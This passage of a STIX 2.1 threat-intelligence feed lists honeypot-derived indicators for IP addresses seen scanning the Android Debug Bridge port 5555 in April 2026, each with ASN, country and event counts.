        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-02T13:37:55.000Z | last_seen=2026-04-02T13:39:06.431Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--98eebc70-c84e-4c67-ade2-797cacf87e09",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '76.21.164.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:00:02.000Z",
      "valid_until": "2026-05-04T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-02T13:37:55.000Z",
          "last_seen": "2026-04-02T13:39:06.431Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-02T14:27:43.000Z | last_seen=2026-04-02T14:37:54.778Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--ec8a9e41-9f45-4cfc-b1b7-681ec3d15860",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.147.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:00:02.000Z",
      "valid_until": "2026-05-04T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-02T14:27:43.000Z",
          "last_seen": "2026-04-02T14:37:54.778Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-02T14:55:57.000Z | last_seen=2026-04-02T15:06:06.812Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:00:02.000Z",
      "valid_until": "2026-05-04T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-02T14:55:57.000Z",
          "last_seen": "2026-04-02T15:06:06.812Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-02T14:55:04.000Z | last_seen=2026-04-02T14:56:11.577Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--6c488697-7fb8-498d-b8c6-7cd8036b3d88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:00:02.000Z",
      "valid_until": "2026-05-04T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-02T14:55:04.000Z",
          "last_seen": "2026-04-02T14:56:11.577Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-02T15:47:06.000Z | last_seen=2026-04-02T15:48:09.948Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4fc4c0b5-6540-4094-936f-fa19fc991766",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.234.21.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:00:03.000Z",
      "valid_until": "2026-05-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-02T15:47:06.000Z",
          "last_seen": "2026-04-02T15:48:09.948Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=35986; asn_org=Vyve Broadband; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-02T15:25:02.000Z | last_seen=2026-04-02T15:42:26.575Z | ports=5555 | cc=US | asn=35986 | org=Vyve Broadband",
      "id": "indicator--5c86c357-bbb8-4ee7-a25f-ad4d43a4ab0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '38.178.181.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:00:03.000Z",
      "valid_until": "2026-05-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-02T15:25:02.000Z",
          "last_seen": "2026-04-02T15:42:26.575Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "35986"
          ],
          "org": [
            "Vyve Broadband"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-02T15:47:26.000Z | last_seen=2026-04-04T15:47:57.389Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--1db3dfd9-a8bc-4d2e-b505-5244f1ffea47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.56.84.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:00:03.000Z",
      "valid_until": "2026-05-04T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-02T15:47:26.000Z",
          "last_seen": "2026-04-04T15:47:57.389Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-02T16:56:10.000Z | last_seen=2026-04-02T17:08:38.144Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--0277b64d-f8d7-4eaf-bb1f-c85df2fdfcdc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.83.27.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:00:03.000Z",
      "valid_until": "2026-05-04T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-02T16:56:10.000Z",
          "last_seen": "2026-04-02T17:08:38.144Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=40 | first_seen=2026-04-02T16:48:43.000Z | last_seen=2026-04-30T07:17:18.665Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--0e412c0b-5566-476b-b33a-da4f3ec0d561",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:00:03.000Z",
      "valid_until": "2026-05-04T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 40,
          "first_seen": "2026-04-02T16:48:43.000Z",
          "last_seen": "2026-04-30T07:17:18.665Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=20 | first_seen=2026-04-02T20:36:46.000Z | last_seen=2026-04-14T09:32:40.593Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:00:03.000Z",
      "valid_until": "2026-05-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 20,
          "first_seen": "2026-04-02T20:36:46.000Z",
          "last_seen": "2026-04-14T09:32:40.593Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=LV; asn=12578; asn_org=SIA Tet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-02T20:33:09.000Z | last_seen=2026-04-02T20:44:46.022Z | ports=5555 | cc=LV | asn=12578 | org=SIA Tet",
      "id": "indicator--1f031635-81e1-4b84-9a1e-233fceb01591",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.105.40.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:00:03.000Z",
      "valid_until": "2026-05-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-02T20:33:09.000Z",
          "last_seen": "2026-04-02T20:44:46.022Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LV"
          ],
          "asn": [
            "12578"
          ],
          "org": [
            "SIA Tet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T00:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-02T23:02:00.000Z | last_seen=2026-04-02T23:20:19.056Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--afb05af6-361f-48ce-a0c9-7e800aa28a13",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '211.248.175.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:00:12.000Z",
      "valid_until": "2026-05-05T00:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-02T23:02:00.000Z",
          "last_seen": "2026-04-02T23:20:19.056Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-03T00:39:20.000Z | last_seen=2026-04-03T00:40:45.543Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--dee71225-569a-48d1-8cd7-636420ff3ccf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:00:03.000Z",
      "valid_until": "2026-05-05T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-03T00:39:20.000Z",
          "last_seen": "2026-04-03T00:40:45.543Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-03T01:45:42.000Z | last_seen=2026-04-03T02:00:53.375Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--f6f506dc-1f89-441d-b213-dac00f6f8c12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '211.248.175.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:00:03.000Z",
      "valid_until": "2026-05-05T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-03T01:45:42.000Z",
          "last_seen": "2026-04-03T02:00:53.375Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=NL; asn=206264; asn_org=Amarutu Technology Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=32 | first_seen=2026-04-03T01:14:24.000Z | last_seen=2026-04-13T13:04:18.969Z | ports=5555 | cc=NL | asn=206264 | org=Amarutu Technology Ltd",
      "id": "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:00:03.000Z",
      "valid_until": "2026-05-05T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 32,
          "first_seen": "2026-04-03T01:14:24.000Z",
          "last_seen": "2026-04-13T13:04:18.969Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "206264"
          ],
          "org": [
            "Amarutu Technology Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T03:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SC; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-03T02:39:00.000Z | last_seen=2026-04-29T10:48:19.777Z | ports=5555 | cc=SC | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:00:11.000Z",
      "valid_until": "2026-05-05T03:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-03T02:39:00.000Z",
          "last_seen": "2026-04-29T10:48:19.777Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-03T04:39:54.000Z | last_seen=2026-04-03T04:51:23.536Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--7778318d-9605-473d-a37d-0d8aa916f2c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
